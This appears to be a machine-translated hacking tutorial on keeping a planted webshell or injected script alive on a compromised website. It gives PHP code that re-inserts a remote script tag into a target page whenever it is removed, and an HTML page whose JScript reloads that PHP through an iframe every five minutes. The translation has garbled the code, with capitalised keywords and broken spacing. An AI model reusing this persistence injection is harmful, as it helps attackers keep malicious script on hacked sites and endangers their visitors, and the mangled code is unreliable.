Some websites use cache pages. The web Horse Code or webshell code you add is often updated or killed by other factors, so you get the code:
<? Php
$ File = "aa. php ";
$ Code = "<script src = http://www.google/ga.js> </script> ";
$ F = fopen ($ file, "r + ");
$ Content = fread ($ f, filesize ($ file ));
Fclose ($ f );
If (! Strstr ($ content, $ code )){
$ ArrInsert = insertContent ($ file, $ code, 3 );
Unlink ($ file );
Foreach ($ arrInsert as $ value)
{
File_put_contents ($ file, $ value, FILE_APPEND );
}
}
Function insertContent ($ source, $ s, $ iLine ){
$ File_handle = fopen ($ source, "r ");
$ I = 0;
$ Arr = array ();
While (! Feof ($ file_handle )){
$ Line = fgets ($ file_handle );
++ $ I;
If ($ I = $ iLine ){
$ Arr [] = $ line. $ s. "\ n ";
} Else {
$ Arr [] = $ line;
}
}
Fclose ($ file_handle );
Return $ arr;
}
?>
After saving the file as php, you can use a small program to execute it several minutes later. The operia browser has this function. However, I added an html code to run it. You can use ie to open this html and then click it to run it.
<HTML>
<HEAD>
</HEAD>
<BODY>
<Script language = "JScript">
Function singOut (){
Var O = document. createElement ("iframe ");
O. src = "http: // www.2cto.com/top php file. php ";
O. width = 100;
O. height = 100;
Document. body. appendChild (O );
}
Window. setInterval ("singOut ();", 300000 );
</SCRIPT>
</BODY>
</HTML>